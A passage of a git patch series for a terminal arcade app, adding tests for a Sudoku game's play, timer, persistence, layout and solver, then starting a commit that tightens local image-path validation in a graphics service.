digit !== 0); + state.moveTo(clue); + const clueDigit = state.puzzle[clue]; + s.press('9', '0', 'backspace', 'n', '2', 'n'); + assert.equal(state.grid[clue], clueDigit); + assert.equal(state.entries[clue], 0); + assert.equal(state.notes[clue], 0); + state.moveTo(start); s.press('t'); + assert.ok(state.hints >= 1 && state.grid[start] === state.solution[start]); +}); + +test('timer: runs from animate only while playing, pause stops it and the board is hidden', () => { + const s = setup(); + s.game.animate(5000); + s.press('1'); + const state = s.game.state!; + assert.equal(state.elapsedMs, 0, 'the menu does not run the clock'); + s.game.step(16); s.game.animate(1500); + assert.equal(state.elapsedMs, 1500); + s.game.animate(60_000); + assert.equal(state.elapsedMs, 3500, 'one tick is capped so a suspended terminal does not bank time'); + s.game.pause(); + const hidden = s.draw().plain().join('\n'); + const clue = String(state.puzzle.find(digit => digit !== 0)); + const layout = layoutFor(100, 36)!; + const board = s.canvas.plain().slice(layout.y, layout.y + layout.boardH).map(row => row.slice(layout.x, layout.x + layout.boardW)).join('\n'); + assert.ok(!/[1-9]/u.test(board), `no digits on a paused board (${clue})`); + assert.match(hidden, /Paused/u); + assert.equal(state.elapsedMs, 3500, 'pausing stops the clock'); + s.game.animate(10); + assert.equal(state.elapsedMs, 3500, 'the resume frame adds nothing'); + assert.ok(/[1-9]/u.test(s.draw().plain().slice(layout.y, layout.y + layout.boardH).join('')), 'the board is back'); + s.game.animate(1000); + assert.equal(state.elapsedMs, 4500); +}); + +test('restart keeps the puzzle; a new game makes a different one', () => { + const s = startEasy(); + const state = s.game.state!; + const puzzle = gridString(state.puzzle); + s.press('5', 'n', '2', 't'); s.game.animate(3000); + s.press('r'); + assert.match(s.draw().plain().join('\n'), /Press r again/u); + assert.ok(state.entries.some(Boolean), 'one press only asks'); + s.press('r'); + assert.equal(s.game.state!, state); + assert.equal(gridString(state.puzzle), puzzle); + assert.ok(state.entries.every(d => d === 0) && state.hints === 0 && state.elapsedMs === 0); + s.press('r', 'x'); + assert.ok(!/Press r again/u.test(s.draw().plain().join('\n')), 'any other key cancels the question'); + s.game.newPuzzle('easy'); + assert.notEqual(gridString(s.game.state!.puzzle), puzzle); + assert.equal(s.game.state!.difficulty, 'easy'); +}); + +test('same seed, same first puzzle; the next puzzle differs', () => { + const a = setup({seed: 21}); a.press('3'); + const b = setup({seed: 21}); b.press('3'); + assert.equal(gridString(a.game.state!.puzzle), gridString(b.game.state!.puzzle)); + const first = gridString(a.game.state!.puzzle); + a.game.newPuzzle('hard'); + assert.notEqual(gridString(a.game.state!.puzzle), first); +}); + +test('completion: a solved grid wins with a result, a gentle celebration first, and clears the saved puzzle', () => { + const s = startEasy(); + s.game.state!.elapsedMs = 187_000; + solveAll(s); + assert.ok(s.game.state!.solved); + assert.equal(s.game.status, 'playing', 'the celebration shows first'); + assert.ok(s.game.celebrating); + assert.ok(s.game.refreshMs <= 100, 'animation frames are requested'); + s.draw(); + const text = s.canvas.plain().join('\n'); + assert.match(text, /Solved/u); + s.game.animate(500); + assert.equal(s.game.status, 'playing'); + s.game.animate(2000); + assert.equal(s.game.status, 'won'); + const result = s.game.result!; + assert.equal(result.scoreText, '3:07'); + assert.equal(result.record, true, 'the first time at a difficulty is a record'); + assert.ok(result.details.includes('Easy') && result.details.includes('No hints')); + const saved = s.record.raw() as any; + assert.equal(saved.bestTimes.easy, 187); + assert.equal(saved.completed, 1); + assert.equal(saved.streak, 1); + assert.equal(saved.current, undefined, 'finishing clears the saved puzzle'); + s.game.persist(); + assert.equal((s.record.raw() as any).current, undefined, 'a finished game is never saved again'); +}); + +test('completion: reduced motion and effects off win at once; a slower or hinted win is no record', () => { + for (const options of [{reduced: true}, {effects: 'off' as const}]) { + const s = startEasy({...options, record: memoryRecord({bestTimes: {easy: 100}})}); + s.game.state!.elapsedMs = 187_000; + solveAll(s); + assert.equal(s.game.status, 'won'); + assert.equal(s.game.result!.record, false); + assert.equal((s.record.raw() as any).bestTimes.easy, 100); + } + const s = startEasy({reduced: true}); + s.press('t'); s.game.state!.elapsedMs = 5000; + solveAll(s); + assert.equal(s.game.status, 'won'); + assert.equal(s.game.result!.record, false, 'hints disqualify records'); + assert.ok(s.game.result!.details.some(line => /1 hint used/u.test(line))); +}); + +test('completion: confetti uses the particle system under normal effects and stays off in reduced motion', () => { + const s = startEasy(); + solveAll(s); + s.draw(); s.game.animate(200); s.draw(); + const hasHalfBlock = s.canvas.rows({color: 'truecolor', safe: false}).some(row => /[▀▄]/u.test(stripAnsi(row))); + assert.ok(hasHalfBlock, 'particles are drawn as half blocks'); + const calm = startEasy({reduced: true}); + solveAll(calm); calm.draw(); calm.game.animate(200); calm.draw(); + assert.ok(!calm.canvas.rows({color: 'truecolor', safe: false}).some(row => /[▀▄]/u.test(stripAnsi(row)))); +}); + +test('abandoning a started puzzle ends the streak; finishing does not', () => { + const s = startEasy({reduced: true, record: memoryRecord({streak: 4, bestStreak: 4, completed: 4, completedByDifficulty: {easy: 4}})}); + solveAll(s); + assert.equal((s.record.raw() as any).streak, 5); + assert.equal((s.record.raw() as any).bestStreak, 5); + const t = startEasy({record: memoryRecord({streak: 4, bestStreak: 4})}); + t.press('5'); t.game.persist(); + t.game.newPuzzle('easy'); + assert.equal((t.record.raw() as any).streak, 0); + assert.equal((t.record.raw() as any).bestStreak, 4); +}); + +test('persistence: a puzzle in progress resumes through Continue, with entries, notes, hints and time', () => { + const record = memoryRecord(); + const a = startEasy({record}); + const state = a.game.state!; + const open = [...Array(81).keys()].filter(cell => !state.isClue(cell)); + state.moveTo(open[0]!); a.press('5'); state.moveTo(open[1]!); a.press('n', '1', '2', 'n'); a.press('t'); + a.game.animate(1500); a.game.persist(); + const expected = state.toSaved(); + a.game.dispose(); + const b = setup({record}); + assert.match(b.draw().plain().join('\n'), /Continue/u); + assert.match(sudokuGame.summary(record.get()), /In progress/u); + b.press('enter'); + assert.deepEqual(b.game.state!.toSaved(), expected); + assert.equal(b.game.state!.hints, 1); + assert.equal(b.game.state!.elapsedMs, 1500); + assert.equal(b.game.state!.canUndo, false, 'history starts fresh'); +}); + +test('persistence: a corrupt saved puzzle is dropped without a trace', () => { + const source = startEasy(); + const saved = source.game.state!.toSaved(); + const broken: GameRecord[] = [ + {current: {...saved, solution: '1'.repeat(81)}}, + {current: {...saved, puzzle: saved.puzzle.slice(0, 80)}}, + {current: {...saved, entries: saved.puzzle}}, + {current: 'junk'}, + {version: 7, current: saved}, + ]; + for (const record of broken) { + const s = setup({record: memoryRecord(record as GameRecord)}); + const text = s.draw().plain().join('\n'); + assert.ok(!/Continue/u.test(text), 'no Continue for a bad record'); + assert.doesNotMatch(sudokuGame.summary(memoryRecord(record as GameRecord).get()), /In progress/u); + s.press('1'); + assert.equal(s.game.screen, 'play'); + } +}); + +test('persistence: the real score store keeps the record across sessions on disk', () => { + const dir = mkdtempSync(join(process.env.TMPDIR ?? '/tmp', 'arcade-sudoku-')); + try { + const store = new ArcadeStore({directory: dir}); + const a = startEasy({record: store.record('sudoku') as never}); + a.press('5'); a.game.persist(); store.flush(); + const second = new ArcadeStore({directory: dir}); + const b = setup({record: second.record('sudoku') as never}); + assert.match(b.draw().plain().join('\n'), /Continue/u); + assert.match(sudokuGame.summary(second.record('sudoku').get()), /In progress/u); + } finally { rmSync(dir, {recursive: true, force: true}); } +}); + +test('layout: every canvas from 20x8 to 200x60 draws within bounds, fits its board, or says what it needs', () => { + const widths = [20, 21, 25, 30, 36, 40, 55, 60, 70, 80, 90, 100, 120, 140, 160, 200]; + const heights = [8, 10, 12, 13, 14, 16, 19, 21, 24, 28, 32, 36, 40, 50, 60]; + const s = startEasy(); + for (const columns of widths) { + for (const rows of heights) { + const canvas = new Canvas(columns, rows); + s.game.resize({columns, rows}); + s.game.render(canvas, 0, arcadePalette()); + const plain = canvas.plain(); + assert.equal(plain.length, rows); + for (const line of plain) assert.ok(displayWidth(line) <= columns, `${columns}x${rows} row too wide`); + const layout = layoutFor(columns, rows); + if (columns >= MIN_COLUMNS && rows >= MIN_ROWS) { + assert.ok(layout, `${columns}x${rows} has a layout`); + assert.ok(layout.x >= 0 && layout.y >= 0 && layout.x + layout.boardW <= columns && layout.y + layout.boardH <= rows, `${columns}x${rows} board inside`); + const clues = s.game.state!.puzzle.filter(Boolean).length; + const board = plain.slice(layout.y, layout.y + layout.boardH).map(line => line.slice(layout.x, layout.x + layout.boardW)).join('\n'); + assert.ok((board.match(/[1-9]/gu) ?? []).length >= clues, `${columns}x${rows} shows the clues`); + } else if (!layout) assert.match(plain.join('\n'), /Needs at least 20x13/u); + } + } + assert.equal(`${MIN_COLUMNS}x${MIN_ROWS}`, '20x13'); +}); + +test('layout: bigger canvases get bigger cells, with the HUD beside the board when it fits', () => { + assert.equal(layoutFor(200, 60)!.cw, 7); + assert.equal(layoutFor(200, 60)!.hud, 'side'); + assert.equal(layoutFor(80, 21)!.cw, 5); + assert.equal(layoutFor(80, 21)!.ch, 1); + assert.equal(layoutFor(40, 15)!.cw, 3); + assert.equal(layoutFor(20, 13)!.cw, 2); + assert.equal(layoutFor(20, 13)!.hud, 'top'); + assert.equal(layoutFor(19, 40), undefined); + assert.equal(layoutFor(100, 10), undefined); +}); + +test('hud: difficulty, timer, hints, notes mode and remaining digits are on screen', () => { + for (const size of [{columns: 100, rows: 36}, {columns: 80, rows: 22}, {columns: 40, rows: 15}]) { + const s = startEasy(size); + s.game.state!.elapsedMs = 187_000; + s.press('n', 't'); + const text = s.draw().plain().join('\n'); + assert.match(text, /Easy/u); + assert.match(text, /3:0[78]/u); + assert.match(text, /Hints/u); + assert.match(text, /Notes/u); + } + const wide = startEasy(); + const text = wide.draw().plain().join('\n'); + assert.match(text, /Left/u); +}); + +test('no color: clues, entries, the cursor and conflicts differ by weight, brackets and glyphs', () => { + const s = startEasy({columns: 80, rows: 22, color: 'none'}); + const state = s.game.state!; + const layout = layoutFor(80, 22)!; + const open = [...Array(81).keys()].filter(cell => !state.isClue(cell)); + const rowOf = (cell: number) => Math.floor(cell / 9); + const target = open.find(cell => state.puzzle.slice(rowOf(cell) * 9, rowOf(cell) * 9 + 9).some(Boolean))!; + const rowClue = state.puzzle.slice(rowOf(target) * 9, rowOf(target) * 9 + 9).find(Boolean)!; + const other = open.find(cell => cell !== target)!; + state.moveTo(other); s.press(String(state.solution[other])); + state.moveTo(target); s.press(String(rowClue)); + const rows = s.draw().rows({color: 'none', safe: false}); + const cellText = (cell: number) => rows[layout.y + layout.ys[rowOf(cell)]!]!; + assert.match(cellText(target), /!/u, 'a conflict carries a glyph'); + assert.match(cellText(target), /\[/u, 'the cursor carries brackets'); + assert.match(cellText(target), /\u001b\[7m/u, 'and reverse video'); + const plain = rows.map(row => row.replace(/\u001b\[[0-9;]*m/gu, '')); + assert.ok(plain.join('\n').includes('┃') || plain.join('\n').includes('#')); + assert.ok(rows.join('').includes('\u001b[1m'), 'bold marks the given clues'); + assert.ok(!rows.join('').includes('\u001b[38;'), 'no color escapes without color'); +}); + +test('no color: entries are not bold while clues are', () => { + const s = startEasy({columns: 80, rows: 22, color: 'none'}); + const state = s.game.state!; + const layout = layoutFor(80, 22)!; + const cell = [...Array(81).keys()].find(c => !state.isClue(c))!; + const clueCell = [...Array(81).keys()].find(c => state.isClue(c) && Math.floor(c / 9) !== Math.floor(cell / 9))!; + state.moveTo(clueCell === 0 ? 80 : 0); + state.moveTo(cell); s.press(String(state.solution[cell])); + state.moveTo(clueCell); + const rows = s.draw().rows({color: 'none', safe: false}); + const find = (c: number) => { + const line = rows[layout.y + layout.ys[Math.floor(c / 9)]!]!; + const digit = String(state.grid[c]); + const index = line.indexOf(digit, 0); + return {line, index}; + }; + assert.ok(find(clueCell).line.includes('\u001b[1m')); + const entryLine = rows[layout.y + layout.ys[Math.floor(cell / 9)]!]!; + assert.ok(entryLine.includes(String(state.solution[cell]))); +}); + +test('safe glyphs: the whole screen is ASCII and the box lines stay distinct', () => { + for (const size of [{columns: 100, rows: 40}, {columns: 80, rows: 22}, {columns: 20, rows: 13}]) { + const s = startEasy({...size, safe: true, color: 'none'}); + s.press('n', '1', 'n', '2', 't'); + s.draw(); + const rows = s.canvas.rows({color: 'none', safe: true}); + for (const row of rows) assert.match(row, /^[\x20-\x7e\u001b[0-9;m]*$/u, 'only ASCII'); + const plain = rows.map(row => row.replace(/\u001b\[[0-9;]*m/gu, '')).join('\n'); + assert.ok(plain.includes('#') && plain.includes('='), 'heavy lines use # and ='); + assert.ok(plain.includes('+')); + } + const menu = setup({safe: true, color: 'none'}); + menu.draw(); + for (const row of menu.canvas.rows({color: 'none', safe: true})) assert.match(row, /^[\x20-\x7e\u001b[0-9;m]*$/u); +}); + +test('truecolor render stays inside the palette and under budget for a large canvas', () => { + const s = startEasy({columns: 120, rows: 40, color: 'truecolor'}); + s.press('n', '1', '2', 'n', '5'); + const started = process.hrtime.bigint(); + for (let index = 0; index < 20; index += 1) { s.press('right'); s.draw(); s.canvas.rows({color: 'truecolor', safe: false}); } + const perFrame = Number(process.hrtime.bigint() - started) / 20 / 1e6; + assert.ok(perFrame < 25, `render ${perFrame.toFixed(1)} ms (generous bound for a loaded CI machine)`); +}); + +test('dispose releases the game and the preview draws inside any canvas', () => { + const s = startEasy(); + s.game.dispose(); + assert.equal(s.game.state, undefined); + for (const [w, h] of [[16, 3], [40, 10]] as const) { + const canvas = new Canvas(w, h); + for (let frame = 0; frame < 30; frame += 1) sudokuGame.preview(canvas, frame, arcadePalette()); + for (const line of canvas.plain()) assert.ok(displayWidth(line) <= w); + } +}); + +test('inside the arcade session: Esc pauses and blanks the board, resume continues the clock, a win reaches the card', () => { + const dir = mkdtempSync(join(process.env.TMPDIR ?? '/tmp', 'arcade-sudoku-s-')); + let now = 1000; + const env: ArcadeEnvironment = {store: new ArcadeStore({directory: dir}), now: () => now, motion: () => ({reduced: false, effects: 'normal'}), color: () => 'none', safeGlyphs: () => false, seed: () => 9}; + const session = new ArcadeSession(env, [sudokuGame], {columns: 100, rows: 40}, sudokuGame); + const screen = () => session.render().rows.map(row => stripAnsi(row)).join('\n'); + try { + assert.match(screen(), /Classic Sudoku/u); + session.key({kind: 'text', value: '1'}); + const game = session.game as SudokuInstance; + session.frame(1000); session.frame(1000); + assert.equal(game.state!.elapsedMs, 2000); + assert.ok(session.interval > 0 && session.interval <= 1000); + assert.match(screen(), /0:02/u); + session.key({kind: 'escape'}); + assert.equal(session.screen, 'paused'); + const paused = screen(); + assert.match(paused, /Paused/u); + assert.ok(!/┃\s+[1-9]\s+│/u.test(paused), 'no board digits while paused'); + session.frame(5000); + assert.equal(game.state!.elapsedMs, 2000); + session.key({kind: 'escape'}); + assert.equal(session.screen, 'playing'); + session.frame(100); + session.frame(1000); + assert.equal(game.state!.elapsedMs, 3000); + const state = game.state!; + for (let cell = 0; cell < 81; cell += 1) { + if (state.isClue(cell)) continue; + state.moveTo(cell); + session.key({kind: 'text', value: String(state.solution[cell])}); + } + assert.equal(session.screen, 'playing', 'the celebration plays inside the game first'); + session.frame(1000); session.frame(1000); + assert.equal(session.screen, 'over'); + assert.match(screen(), /New record|Well done/u); + assert.match(screen(), /Play again/u); + assert.match(screen(), /0:0[34]|0:03/u); + } finally { session.dispose(); rmSync(dir, {recursive: true, force: true}); } +}); diff --git a/tests/arcadeSudokuLogic.test.ts b/tests/arcadeSudokuLogic.test.ts new file mode 100644 index 00000000..5e103e34 --- /dev/null +++ b/tests/arcadeSudokuLogic.test.ts @@ -0,0 +1,249 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRng} from '../src/arcade/rng.js'; +import {cleanRecord} from '../src/arcade/scores.js'; +import {DIFFICULTIES, PROFILES, clueCount, generatePuzzle, type Difficulty} from '../src/arcade/games/sudoku/generator.js'; +import {countSolutions, findSingle, isSolved, parseGrid, randomSolved, solve, solveBySingles, conflicting, gridString} from '../src/arcade/games/sudoku/solver.js'; +import {SudokuState} from '../src/arcade/games/sudoku/state.js'; +import {emptyStats, formatTime, readCurrent, readRecord, recordWin, writeRecord} from '../src/arcade/games/sudoku/record.js'; + +const SOLVED = '534678912672195348198342567859761423426853791713924856961537284287419635345286179'; +const PUZZLE = '530070000600195000098000060800060003400803001700020006060000280000419005000080079'; + +function fresh(difficulty: Difficulty = 'easy', seed = 11): SudokuState { + const made = generatePuzzle(difficulty, createRng(seed)); + return new SudokuState(difficulty, made.puzzle, made.solution); +} + +test('solver: counts solutions up to the limit, finds the known solution, rejects clashing givens', () => { + assert.equal(countSolutions(parseGrid(PUZZLE), 2), 1); + assert.equal(gridString(solve(parseGrid(PUZZLE))!), SOLVED); + assert.equal(countSolutions(new Uint8Array(81), 2), 2, 'an empty grid has many'); + const clash = parseGrid(PUZZLE); clash[1] = 5; + assert.equal(countSolutions(clash, 2), 0); + assert.ok(isSolved(parseGrid(SOLVED))); + const broken = parseGrid(SOLVED); broken[0] = 4; + assert.ok(!isSolved(broken)); + assert.equal(conflicting(broken).filter(Boolean).length > 0, true); +}); + +test('solver: random grids are valid, deterministic per seed, and different across seeds', () => { + const a = randomSolved(createRng(1)); + assert.ok(isSolved(a)); + assert.equal(gridString(a), gridString(randomSolved(createRng(1)))); + assert.notEqual(gridString(a), gridString(randomSolved(createRng(2)))); +}); + +test('generator: 200 seeded puzzles per difficulty are unique, valid and behave by difficulty', () => { + for (const difficulty of DIFFICULTIES) { + const profile = PROFILES[difficulty]; + let clueSum = 0; + let beyondSingles = 0; + let nakedSolvable = 0; + for (let seed = 0; seed < 200; seed += 1) { + const made = generatePuzzle(difficulty, createRng(5000 + seed)); + assert.equal(countSolutions(made.puzzle, 2), 1, `${difficulty} #${seed} must have exactly one solution`); + assert.ok(isSolved(made.solution), 'solution is a valid grid'); + made.puzzle.forEach((clue, cell) => assert.ok(clue === 0 || clue === made.solution[cell], 'clues match the solution')); + assert.equal(gridString(solve(made.puzzle)!), gridString(made.solution), 'the independent solver agrees'); + const clues = clueCount(made.puzzle); + assert.ok(clues >= profile.min - 2 && clues <= profile.max + 1, `${difficulty} clue count ${clues}`); + clueSum += clues; + if (!solveBySingles(made.puzzle, true).solved) beyondSingles += 1; + if (solveBySingles(made.puzzle, false).solved) nakedSolvable += 1; + } + if (difficulty === 'easy') assert.equal(nakedSolvable, 200, 'easy falls to naked singles alone'); + else assert.equal(nakedSolvable, 0, `${difficulty} needs more than naked singles`); + if (difficulty === 'expert') assert.ok(beyondSingles >= 190, 'expert needs more than singles'); + else assert.equal(beyondSingles, 0, `${difficulty} is solvable by singles`); + assert.ok(clueSum / 200 <= profile.max, `${difficulty} average clues`); + } +}); + +test('generator: the same seed gives the same puzzle; levels get sparser', () => { + const a = generatePuzzle('hard', createRng(77)); + assert.equal(gridString(a.puzzle), gridString(generatePuzzle('hard', createRng(77)).puzzle)); + assert.notEqual(gridString(a.puzzle), gridString(generatePuzzle('hard', createRng(78)).puzzle)); + const avg = (d: Difficulty) => Array.from({length: 20}, (_, i) => clueCount(generatePuzzle(d, createRng(i)).puzzle)).reduce((s, n) => s + n, 0) / 20; + assert.ok(avg('easy') > avg('medium') && avg('medium') > avg('hard') && avg('hard') > avg('expert')); +}); + +test('state: clues are immutable; digits, notes and erase only touch open cells', () => { + const state = fresh(); + const clueCell = state.puzzle.findIndex(digit => digit !== 0); + const open = state.puzzle.findIndex(digit => digit === 0); + const before = gridString(state.puzzle); + state.moveTo(clueCell); + assert.equal(state.enter(5), false); + assert.equal(state.erase(), false); + state.notesMode = true; + assert.equal(state.enter(5), false); + assert.equal(state.undo(), false, 'nothing recorded for a refused edit'); + state.notesMode = false; + state.moveTo(open); + assert.equal(state.enter(7), true); + assert.equal(state.grid[open], 7); + assert.equal(state.enter(7), false, 'the same digit again changes nothing'); + assert.equal(state.erase(), true); + assert.equal(state.grid[open], 0); + assert.equal(gridString(state.puzzle), before); +}); + +test('state: notes toggle, are cleared by a digit, and are struck from peers when it is placed', () => { + const state = fresh(); + const open = state.puzzle.findIndex(digit => digit === 0); + const peer = [...Array(81).keys()].find(cell => cell !== open && !state.isClue(cell) && (Math.floor(cell / 9) === Math.floor(open / 9)))!; + state.moveTo(peer); state.notesMode = true; state.enter(4); state.enter(6); + assert.equal(state.notes[peer], (1 << 3) | (1 << 5)); + state.enter(4); + assert.equal(state.notes[peer], 1 << 5, 'a second press removes the mark'); + state.enter(4); + state.moveTo(open); state.enter(4); state.enter(2); + assert.equal(state.notes[open], (1 << 3) | (1 << 1)); + state.notesMode = false; + state.enter(4); + assert.equal(state.notes[open], 0, 'placing clears the cell notes'); + assert.equal(state.notes[peer] & (1 << 3), 0, 'and strikes the digit from peers'); + assert.ok(state.notes[peer] & (1 << 5), 'other marks stay'); + state.notesMode = true; + assert.equal(state.enter(2), false, 'no notes in a filled cell'); + state.undo(); + assert.equal(state.notes[peer] & (1 << 3), 1 << 3, 'undo restores the peer notes too'); +}); + +test('state: undo and redo round trip exactly, and a new edit drops the redo branch', () => { + const state = fresh(); + const snapshot = () => JSON.stringify({e: [...state.entries], n: [...state.notes], c: state.cursor}); + const start = snapshot(); + const cells = [...Array(81).keys()].filter(cell => !state.isClue(cell)).slice(0, 6); + for (const [index, cell] of cells.entries()) { state.moveTo(cell); state.notesMode = index % 2 === 1; state.enter(index + 1); } + state.notesMode = false; + const end = snapshot(); + while (state.undo()); + assert.equal(snapshot().replace(/"c":\d+/u, ''), start.replace(/"c":\d+/u, '')); + while (state.redo()); + assert.equal(snapshot(), end); + state.undo(); + state.moveTo(cells[0]!); state.enter(9); + assert.equal(state.canRedo, false); +}); + +test('state: conflicts are found in rows, columns and boxes', () => { + const state = new SudokuState('easy', parseGrid(PUZZLE), parseGrid(SOLVED)); + const open = state.puzzle.indexOf(0); + const rowClue = state.puzzle[Math.floor(open / 9) * 9 + [...state.puzzle.slice(Math.floor(open / 9) * 9, Math.floor(open / 9) * 9 + 9)].findIndex(d => d !== 0)]!; + state.moveTo(open); + state.enter(rowClue); + const bad = state.conflicts(); + assert.ok(bad[open], 'the duplicate is flagged'); + assert.ok(bad.filter(Boolean).length >= 2, 'and so is the digit it clashes with'); + state.erase(); + assert.ok(!state.conflicts().some(Boolean)); +}); + +test('state: hints fill the right digit, never change clues or the solution, are counted and undoable', () => { + const state = fresh('hard', 3); + const puzzle = gridString(state.puzzle); + const solution = gridString(state.solution); + const cell = state.puzzle.indexOf(0); + state.moveTo(cell); + state.enter(state.solution[cell] === 9 ? 1 : 9); + const wrong = state.grid[cell]; + const first = state.hint()!; + assert.equal(first.cell, cell, 'a wrong or empty cursor cell is the first target'); + assert.equal(state.grid[cell], state.solution[cell]); + assert.match(first.message, /R\d+C\d+ is \d/u); + assert.equal(state.hints, 1); + state.undo(); + assert.equal(state.grid[cell], wrong, 'undo returns the previous entry'); + state.redo(); + let guard = 0; + while (!state.solved && guard++ < 90) assert.ok(state.hint()); + assert.ok(state.solved); + assert.equal(state.hint(), undefined, 'nothing left to hint'); + assert.equal(gridString(state.puzzle), puzzle); + assert.equal(gridString(state.solution), solution); + assert.ok(state.consistent()); + assert.equal(state.hints, guard + 1, "one hint per fill, plus the first"); +}); + +test('state: a hint explains a single in plain words', () => { + const made = generatePuzzle('easy', createRng(4)); + const state = new SudokuState('easy', made.puzzle, made.solution); + const single = findSingle(state.puzzle)!; + state.moveTo(single.cell); + assert.match(state.hint()!.message, /only|solution has/u); +}); + +test('state: restart returns to the clues with history, hints and clock cleared', () => { + const state = fresh(); + const puzzle = gridString(state.puzzle); + state.hint(); state.elapsedMs = 5000; + state.restart(); + assert.equal(gridString(state.puzzle), puzzle); + assert.ok(state.entries.every(digit => digit === 0) && state.notes.every(mask => mask === 0)); + assert.equal(state.hints, 0); assert.equal(state.elapsedMs, 0); assert.equal(state.canUndo, false); +}); + +test('record: a saved puzzle round trips through the bounded store format', () => { + const state = fresh('medium', 9); + state.moveTo(state.puzzle.indexOf(0)); state.enter(3); state.notesMode = true; state.moveTo(state.puzzle.lastIndexOf(0)); state.enter(2); + state.hints = 2; state.elapsedMs = 61_000; + const stored = {...emptyStats(), current: state.toSaved()}; + const written = writeRecord(stored); + assert.ok(cleanRecord(written), 'the store accepts it'); + const back = readRecord(JSON.parse(JSON.stringify(written))); + assert.deepEqual(back.current, state.toSaved()); + const again = SudokuState.fromSaved(back.current!); + assert.equal(gridString(again.grid), gridString(state.grid)); + assert.deepEqual([...again.notes], [...state.notes]); + assert.equal(again.hints, 2); + assert.equal(again.elapsedMs, 61_000); +}); + +test('record: corrupt or hostile records are discarded, never trusted', () => { + const good = fresh('easy', 2).toSaved(); + assert.ok(readCurrent(good)); + const bad: Array<[string, unknown]> = [ + ['short puzzle', {...good, puzzle: good.puzzle.slice(1)}], + ['letters', {...good, entries: `x${good.entries.slice(1)}`}], + ['solution with zero', {...good, solution: `0${good.solution.slice(1)}`}], + ['solution not a valid grid', {...good, solution: '1'.repeat(81)}], + ['clue disagrees with solution', {...good, puzzle: good.puzzle.replace(/[1-9]/u, d => String((Number(d) % 9) + 1))}], + ['entry on a clue', {...good, entries: `${(Number(good.puzzle[good.puzzle.search(/[1-9]/u)]) % 9) + 1}`.padStart(good.puzzle.search(/[1-9]/u) + 1, '0').padEnd(81, '0')}], + ['bad notes length', {...good, notes: good.notes.slice(1)}], + ['note out of range', {...good, notes: good.notes.map((mask, i) => (i === 0 ? 512 : mask))}], + ['negative time', {...good, elapsedMs: -1}], + ['fractional hints', {...good, hints: 1.5}], + ['unknown difficulty', {...good, difficulty: 'nightmare'}], + ['not an object', 'hello'], + ['non unique puzzle', {...good, puzzle: '0'.repeat(81), entries: '0'.repeat(81)}], + ]; + for (const [name, value] of bad) assert.equal(readCurrent(value), undefined, name); + const complete = {...good, entries: good.solution.split('').map((d, i) => (good.puzzle[i] === '0' ? d : '0')).join('')}; + assert.equal(readCurrent(complete), undefined, 'a finished grid is never a saved game'); + const stats = readRecord({version: 1, bestTimes: {easy: -3, medium: 'x', hard: 120, expert: 1e12}, completed: 'many', streak: 2.5, bestStreak: 4, completedByDifficulty: {easy: 3}, current: {junk: true}}); + assert.deepEqual(stats.bestTimes, {hard: 120}); + assert.equal(stats.current, undefined); + assert.equal(stats.streak, 0); + assert.equal(stats.completed, 3, 'completed is at least the per-difficulty sum'); + assert.deepEqual(readRecord({version: 9, completed: 5}).completed, 0, 'an unknown version is ignored'); + assert.deepEqual(readRecord({}), {...emptyStats()}); +}); + +test('record: wins update bests and streaks; hinted wins are never records', () => { + let outcome = recordWin(emptyStats(), 'easy', 187, 0); + assert.equal(outcome.record, true); + assert.equal(outcome.stats.bestTimes.easy, 187); + assert.equal(formatTime(187), '3:07'); + assert.equal(formatTime(3725), '1:02:05'); + outcome = recordWin(outcome.stats, 'easy', 200, 0); + assert.equal(outcome.record, false); + assert.equal(outcome.stats.bestTimes.easy, 187); + outcome = recordWin(outcome.stats, 'easy', 90, 1); + assert.equal(outcome.record, false, 'a hinted win cannot be a record'); + assert.equal(outcome.stats.completed, 3); + assert.equal(outcome.stats.completedByDifficulty.easy, 3); + assert.equal(outcome.stats.streak, 3); + assert.equal(outcome.stats.bestStreak, 3); +}); diff --git a/tests/support/arcadeSudokuSupport.ts b/tests/support/arcadeSudokuSupport.ts new file mode 100644 index 00000000..69cee004 --- /dev/null +++ b/tests/support/arcadeSudokuSupport.ts @@ -0,0 +1,6 @@ +import {ARCADE_GAMES, findGame} from '../../src/arcade/registry.js'; + +/** Whether the arcade registry lists Classic Sudoku under its id and alias. */ +export function registryHas(): boolean { + return ARCADE_GAMES.some(game => game.id === 'sudoku') && findGame('classic-sudoku')?.id === 'sudoku' && findGame('sudoku')?.id === 'sudoku'; +} From 5a36c8f45b1bbd72f86880917162f9f9ffe3d95b Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:48:28 +0530 Subject: [PATCH 118/157] Graphics service: lexical containment before any filesystem call, file names made safe to draw --- src/graphics/service.ts | 31 ++++++++++++++++++++++++------- tests/graphicsService.test.ts | 22 ++++++++++++++++++++++ 2 files changed, 46 insertions(+), 7 deletions(-) diff --git a/src/graphics/service.ts b/src/graphics/service.ts index 3342f445..c962bbe6 100644 --- a/src/graphics/service.ts +++ b/src/graphics/service.ts @@ -1,5 +1,6 @@ import fs from 'node:fs/promises'; import path from 'node:path'; +import {displayWidth, truncateText} from '../util/text.js'; import type {ColorLevel} from '../presentation/capabilities.js'; import {createImageOverlay, iterm2Image, kittyDelete, kittyTransmit, type ImageOverlay} from '../presentation/ImageSurface.js'; import type {GraphicsDecision} from './capabilities.js'; @@ -124,16 +125,26 @@ export class GraphicsService { if (/^[a-z][a-z0-9+.-]*:/iu.test(trimmed) && !/^[a-z]:[\\/]/iu.test(trimmed)) { throw new ImageError('unsafe', /^https?:/iu.test(trimmed) ? 'Remote images are never fetched automatically.' : 'Only local image files are shown.'); } - if (trimmed.includes('\0') || trimmed.startsWith('//')) throw new ImageError('unsafe', 'The image path is not valid.'); let decoded = trimmed; try { decoded = decodeURI(trimmed); } catch { /* keep the literal text */ } + // Network-style and malformed paths are refused before any filesystem call (a UNC-style path would otherwise be probed). + for (const text of [trimmed, decoded]) { + if (text.includes('\0') || text.startsWith('//') || text.startsWith('\\') || /^[\\/]{2}/u.test(text)) throw new ImageError('unsafe', 'The image path is not valid.'); + } + const outside = () => new ImageError('unsafe', 'The image lies outside this document\'s folder or project, so it is not shown.'); + const inside = (target: string, within: string): boolean => { + const relative = path.relative(within, target); + return relative === '' || (!relative.startsWith('..') && !path.isAbsolute(relative)); + }; const candidate = path.resolve(base, decoded.split(/[?#]/u)[0]!); + // Lexical containment first, so whether a path outside the root exists is never revealed; then again on the real path. + const lexicalRoot = path.resolve(root); + const realRoot = await fs.realpath(root).catch(() => 